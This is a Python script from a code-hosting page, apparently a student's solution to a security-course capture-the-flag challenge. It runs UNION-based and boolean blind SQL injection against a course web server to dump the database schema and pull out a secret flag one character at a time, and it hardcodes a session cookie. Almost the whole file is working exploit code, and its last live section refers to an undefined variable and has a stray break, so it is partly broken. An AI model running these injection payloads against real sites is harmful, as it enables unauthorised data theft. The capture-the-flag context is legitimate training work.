-
Notifications
You must be signed in to change notification settings - Fork 0
/
python-requests.py
322 lines (240 loc) · 14.3 KB
/
python-requests.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
from itertools import product
import requests
import random
import itertools
server = 'mustard.stt.rnl.tecnico.ulisboa.pt'
port = 21262
SERVER = f'http://{server}:{port}'
# GET REQUESTS
params = {
'search': "' UNION SELECT 1, sql, tbl_name FROM sqlite_master WHERE tbl_name = 'sqlite_master' -- "}
headers = {'user-agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.99 Safari/537.36',
'Content-Type': 'application/json',
'Cookie': '_ga=GA1.2.899641607.1581548611; _ga=GA1.3.899641607.1581548611; user=5407626867628042813; _gid=GA1.2.1004854033.1643742476; session=.eJwdjrsOwjAMAP8lM4OT-NmfqRLHFqyFToh_pyDdjSfdu-x5xPNettdxxq3sj1W2kmaInsx9ikP1Ia13N8qWWFeCNmlhAMzNnGWkTNJRgeNXLcpFizqidkBQSmLX2YRwoqRjDCGV0FzgooGMcwF1s6zos_ZRrpHzGcf_praOl3_QFD5f7okxWQ.YfvLMQ.nWWXN2TFloc0mIrpWkFWlw0vbhM'}
r = requests.get(SERVER, params=params, headers=headers)
# ANSWERS
# print('status : ', r.status_code)
# print('headers : ', r.headers)
# print('cookies : ', r.cookies)
# print('html : ', r.text)
# for index in range(100):
# for key_word in key_words:
# # GET REQUESTS
# params = {
# 'search': f"' UNION SELECT 1, sql, tbl_name FROM sqlite_master WHERE tbl_name = '{key_word}' -- "}
# headers = {'user-agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.99 Safari/537.36',
# 'Content-Type': 'application/json',
# 'Cookie': '_ga=GA1.2.899641607.1581548611; _ga=GA1.3.899641607.1581548611; user=5407626867628042813; _gid=GA1.2.1004854033.1643742476; session=.eJwdjrsOwjAMAP8lM4OT-NmfqRLHFqyFToh_pyDdjSfdu-x5xPNettdxxq3sj1W2kmaInsx9ikP1Ia13N8qWWFeCNmlhAMzNnGWkTNJRgeNXLcpFizqidkBQSmLX2YRwoqRjDCGV0FzgooGMcwF1s6zos_ZRrpHzGcf_praOl3_QFD5f7okxWQ.YfvLMQ.nWWXN2TFloc0mIrpWkFWlw0vbhM'}
# r = requests.get(SERVER, params=params, headers=headers)
# number_of_results = int(r.text.split("<i>Found ", 1)[1][0])
# # print("Number of results: ", number_of_results)
# if(number_of_results != 4):
# print("Success: ", key_word)
# dictionary = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ:!_\{\}"
# dictionary = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ!\"#$&'()*+,-./:;<=>?@[\\]^_`{|}~"
dictionary = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ:)(><=?\"^`}{_!#.@][$#&"
# dictionary = "!@#$"
# # key_words = ['user', 'blog_post', 'sqlite_master']
# chars = 'abcdefghijklmnopqrstuvwxyz_' # chars to look for
# # flag = False
# in_case_i_forget_my_password_is:_ssof_i_m_blind_but_i_can_still_get_your_data_using_boolean_injection}
# in_case_i_forget_my_password_is:_SSof{i_m_blind_but_i_can_still_get_your_data_using_boolean_injection}
# flag = 'SSof{i_m_blind_but_i_can_still_get_your_data_using_boolean_injection}'
# dictionary_special_chars = "!\"#$&'()*+,-./:;<=>?@[\\]^_`{|}~"
# # flag = "in_case_i_forget_my_password_is:_ssof_i_m_blind_but_i_can_still_get_your_data_using_boolean_injection"
# flag = list(flag)
# make_flag = list()
# isupper(flag)
# def make_one_uppercase(flag, last_index):
# for index, letter in enumerate(flag):
# last_index = index
# if letter not in dictionary_special_chars and last_index == index:
# make_flag.append(letter.upper())
# else:
# make_flag.append(letter)
# print(''.join(make_flag) + "\n")
# print("\n")
# # make_one_uppercase(''.join(make_flag))
# for index, letter in enumerate(flag):
# print("\n")
# make_one_uppercase(flag, index)
def get_letter(string):
for index in range(0, len(dictionary)): # only do lengths of 1 + 2
# 'search': f"' UNION SELECT id, secret, 3 FROM super_s_sof_secrets WHERE id = 1 AND length(secret) == 102 -- "}
letter = dictionary[index]
# print("%s", letter)
# GET REQUESTS
params = {
'search': f"' UNION SELECT id, secret, 3 FROM super_s_sof_secrets WHERE secret like '{string}{letter}%' COLLATE Latin1_General_CS_AS -- "}
headers = {'user-agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.99 Safari/537.36',
'Content-Type': 'application/json',
'Cookie': '_ga=GA1.2.899641607.1581548611; _ga=GA1.3.899641607.1581548611; user=5407626867628042813; _gid=GA1.2.1004854033.1643742476; session=.eJwdjrsOwjAMAP8lM4OT-NmfqRLHFqyFToh_pyDdjSfdu-x5xPNettdxxq3sj1W2kmaInsx9ikP1Ia13N8qWWFeCNmlhAMzNnGWkTNJRgeNXLcpFizqidkBQSmLX2YRwoqRjDCGV0FzgooGMcwF1s6zos_ZRrpHzGcf_praOl3_QFD5f7okxWQ.YfvLMQ.nWWXN2TFloc0mIrpWkFWlw0vbhM'}
r = requests.get(SERVER, params=params, headers=headers)
# print(r.text)
if r.status_code == 200:
number_of_results = int(r.text.split("<i>Found ", 1)[1][0])
# print("Number of results: ", number_of_results)
if(number_of_results != 4):
# print(r.text)
# print("Len: ", len(dictionary))
# print("INDEX: ", index)
# print("Success: ", letter)
# break
return letter
for index in range(0, len(dictionary)): # only do lengths of 1 + 2
# 'search': f"' UNION SELECT id, secret, 3 FROM super_s_sof_secrets WHERE id = 1 AND length(secret) == 102 -- "}
letter = dictionary[index]
print("%s", letter)
string = ''
while len(string) < 102:
string += get_letter(string)
print(string)
# print("Final: ", string)
# GET REQUESTS
# params = {
# 'search': f"' UNION SELECT id, secret, 3 FROM super_s_sof_secrets WHERE id = 1 AND length(secret) == 102 AND secret like 'in_case_i_forget_my_password_is:_ssof_i_m_blind_but_i_can_still_g{letter}%' COLLATE Latin1_General_CS_AS -- "}
# headers = {'user-agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.99 Safari/537.36',
# 'Content-Type': 'application/json',
# 'Cookie': '_ga=GA1.2.899641607.1581548611; _ga=GA1.3.899641607.1581548611; user=5407626867628042813; _gid=GA1.2.1004854033.1643742476; session=.eJwdjrsOwjAMAP8lM4OT-NmfqRLHFqyFToh_pyDdjSfdu-x5xPNettdxxq3sj1W2kmaInsx9ikP1Ia13N8qWWFeCNmlhAMzNnGWkTNJRgeNXLcpFizqidkBQSmLX2YRwoqRjDCGV0FzgooGMcwF1s6zos_ZRrpHzGcf_praOl3_QFD5f7okxWQ.YfvLMQ.nWWXN2TFloc0mIrpWkFWlw0vbhM'}
# r = requests.get(SERVER, params=params, headers=headers)
# # print(r.text)
# if r.status_code == 200:
# number_of_results = int(r.text.split("<i>Found ", 1)[1][0])
# print("Number of results: ", number_of_results)
# if(number_of_results != 4):
# print("Len: ", len(dictionary))
# print("INDEX: ", index)
# print("Success: ", letter)
# break
# query_table_name = ""
# for j in range(1, 99999999999):
# # for i in range(0, len(dictionary)):
# # print("String: ", )
# if len(query_table_name) > 20:
# query_table_name = ""
# query_table_name = query_table_name + random.choice(dictionary)
# temp_query_name = query_table_name
# # query_table_name = temp_query_name
# print('[*] Trying: ' + temp_query_name)
# query_table_name = ""
# for j in range(1, 50):
# query_table_name = ""
# # # print("String: ", )
# # temp_query_name = query_table_name + dictionary[i]
# # query_table_name = temp_query_name
# # print('[*] Trying: ' + temp_query_name)
# # GET REQUESTS
# params = {
# 'search': f"' UNION SELECT 1, sql, tbl_name FROM sqlite_master WHERE tbl_name == 'super_s_sof_secrets' AND length(sql) == 92 AND sql like 'CREATE TABLE super_s_sof_secrets (%' -- "}
# headers = {'user-agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.99 Safari/537.36',
# 'Content-Type': 'application/json',
# 'Cookie': '_ga=GA1.2.899641607.1581548611; _ga=GA1.3.899641607.1581548611; user=5407626867628042813; _gid=GA1.2.1004854033.1643742476; session=.eJwdjrsOwjAMAP8lM4OT-NmfqRLHFqyFToh_pyDdjSfdu-x5xPNettdxxq3sj1W2kmaInsx9ikP1Ia13N8qWWFeCNmlhAMzNnGWkTNJRgeNXLcpFizqidkBQSmLX2YRwoqRjDCGV0FzgooGMcwF1s6zos_ZRrpHzGcf_praOl3_QFD5f7okxWQ.YfvLMQ.nWWXN2TFloc0mIrpWkFWlw0vbhM'}
# r = requests.get(SERVER, params=params, headers=headers)
# print("R: ", r)
# if r.status_code == 200:
# number_of_results = int(r.text.split("<i>Found ", 1)[1][0])
# print("Number of results: ", number_of_results)
# if(number_of_results != 4):
# print("Success: ")
# secret_text
# dictionary_special_chars = "!\"#$&'()*+,-./:;<=>?@[\\]^_`{|}~"
# flag = 'in_case_i_forget_my_password_is:_ssof_i_m_blind_but_i_can_still_get_your_data_using_boolean_injection_'
# def get_flag_with_spec_chars(string):
# params = {
# 'search': f"' UNION SELECT id, secret, 3 FROM super_s_sof_secrets WHERE id = 1 AND secret == '{string}' -- "}
# headers = {'user-agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.99 Safari/537.36',
# 'Content-Type': 'application/json',
# 'Cookie': '_ga=GA1.2.899641607.1581548611; _ga=GA1.3.899641607.1581548611; user=5407626867628042813; _gid=GA1.2.1004854033.1643742476; session=.eJwdjrsOwjAMAP8lM4OT-NmfqRLHFqyFToh_pyDdjSfdu-x5xPNettdxxq3sj1W2kmaInsx9ikP1Ia13N8qWWFeCNmlhAMzNnGWkTNJRgeNXLcpFizqidkBQSmLX2YRwoqRjDCGV0FzgooGMcwF1s6zos_ZRrpHzGcf_praOl3_QFD5f7okxWQ.YfvLMQ.nWWXN2TFloc0mIrpWkFWlw0vbhM'}
# r = requests.get(SERVER, params=params, headers=headers)
# print("FLAG: ", string)
# if r.status_code == 200:
# number_of_results = int(r.text.split("<i>Found ", 1)[1][0])
# # print("Number of results: ", number_of_results)
# if(number_of_results != 4):
# print("Success: ", string)
# return
# return string
# for index, char in enumerate(flag):
# for special_char in dictionary_special_chars:
# finish = False
# if finish == True:
# break
# if char in dictionary_special_chars:
# new_flag = list(flag)
# new_flag[index] = special_char
# new_flag = ''.join(new_flag)
# print("FLAG: ", new_flag)
# flag = new_flag
# in_case_i_forget_my_password_is:_SSof{i_m_blind_but_i_can_still_get_your_data_using_boolean_injection}
# flag = "in_case_i_forget_my_password_is:_SSof{i_m_blind_but_i_can_still_get_your_data_using_boolean_injection}"
# flag = 'in_case_i_forget_my_password_is:_ssof{i_m_blind_but_i_can_still_get_your_data_using_boolean_injection}'
# dictionary_special_chars = "_}{:"
# def keep_one_uppercase(flag, uppercaseIndex):
# make_flag = list()
# for index, letter in enumerate(flag):
# # last_index = index
# if letter not in dictionary_special_chars and index == uppercaseIndex:
# make_flag.append(letter.upper())
# else:
# make_flag.append(letter)
# print(''.join(make_flag))
# return ''.join(make_flag)
# def make_one_uppercase(flag, uppercaseIndex):
# make_flag = list()
# for index, letter in enumerate(flag):
# # last_index = index
# if letter not in dictionary_special_chars and index == uppercaseIndex:
# make_flag.append(letter.upper())
# else:
# make_flag.append(letter)
# print(''.join(make_flag))
# return flag
# def binary_permutations(lst):
# for comb in combinations(range(len(lst)), lst.count(1)):
# result = [0] * len(lst)
# for i in comb:
# result[i] = 1
# yield result
# for perm in binary_permutations([1, 1, 0, 0]):
# print(perm)
# flag_binary = [1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
# 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0]
# for perm in binary_permutations(flag_binary):
# print(perm)
result = map(''.join, itertools.product(*zip(flag.lower(), flag.upper())))
for item in result:
print(item)
params = {
'search': f"' UNION SELECT id, secret, 3 FROM super_s_sof_secrets WHERE secret == '{flag}' -- "}
headers = {'user-agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.99 Safari/537.36',
'Content-Type': 'application/json',
'Cookie': '_ga=GA1.2.899641607.1581548611; _ga=GA1.3.899641607.1581548611; user=5407626867628042813; _gid=GA1.2.1004854033.1643742476; session=.eJwdjrsOwjAMAP8lM4OT-NmfqRLHFqyFToh_pyDdjSfdu-x5xPNettdxxq3sj1W2kmaInsx9ikP1Ia13N8qWWFeCNmlhAMzNnGWkTNJRgeNXLcpFizqidkBQSmLX2YRwoqRjDCGV0FzgooGMcwF1s6zos_ZRrpHzGcf_praOl3_QFD5f7okxWQ.YfvLMQ.nWWXN2TFloc0mIrpWkFWlw0vbhM'}
r = requests.get(SERVER, params=params, headers=headers)
# print("R: ", r.text)
if r.status_code == 200:
number_of_results = int(r.text.split("<i>Found ", 1)[1][0])
# print("Number of results: ", number_of_results)
if(number_of_results != 4):
print("Success: ")
# return
finish = True
break
# flag_length = len(flag)
# for index in range(0, flag_length):
# flag = keep_one_uppercase(flag, index)
# for index in range(0, flag_length):
# flag = make_one_uppercase(flag, index)
# params = {
# 'search': f"' UNION SELECT id, secret, 3 FROM super_s_sof_secrets WHERE secret == '{flag}' -- "}
# headers = {'user-agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.99 Safari/537.36',
# 'Content-Type': 'application/json',
# 'Cookie': '_ga=GA1.2.899641607.1581548611; _ga=GA1.3.899641607.1581548611; user=5407626867628042813; _gid=GA1.2.1004854033.1643742476; session=.eJwdjrsOwjAMAP8lM4OT-NmfqRLHFqyFToh_pyDdjSfdu-x5xPNettdxxq3sj1W2kmaInsx9ikP1Ia13N8qWWFeCNmlhAMzNnGWkTNJRgeNXLcpFizqidkBQSmLX2YRwoqRjDCGV0FzgooGMcwF1s6zos_ZRrpHzGcf_praOl3_QFD5f7okxWQ.YfvLMQ.nWWXN2TFloc0mIrpWkFWlw0vbhM'}
# r = requests.get(SERVER, params=params, headers=headers)
# # print("R: ", r.text)
# if r.status_code == 200:
# number_of_results = int(r.text.split("<i>Found ", 1)[1][0])
# print("Number of results: ", number_of_results)
# if(number_of_results != 4):
# print("Success: ")
# # return
# finish = True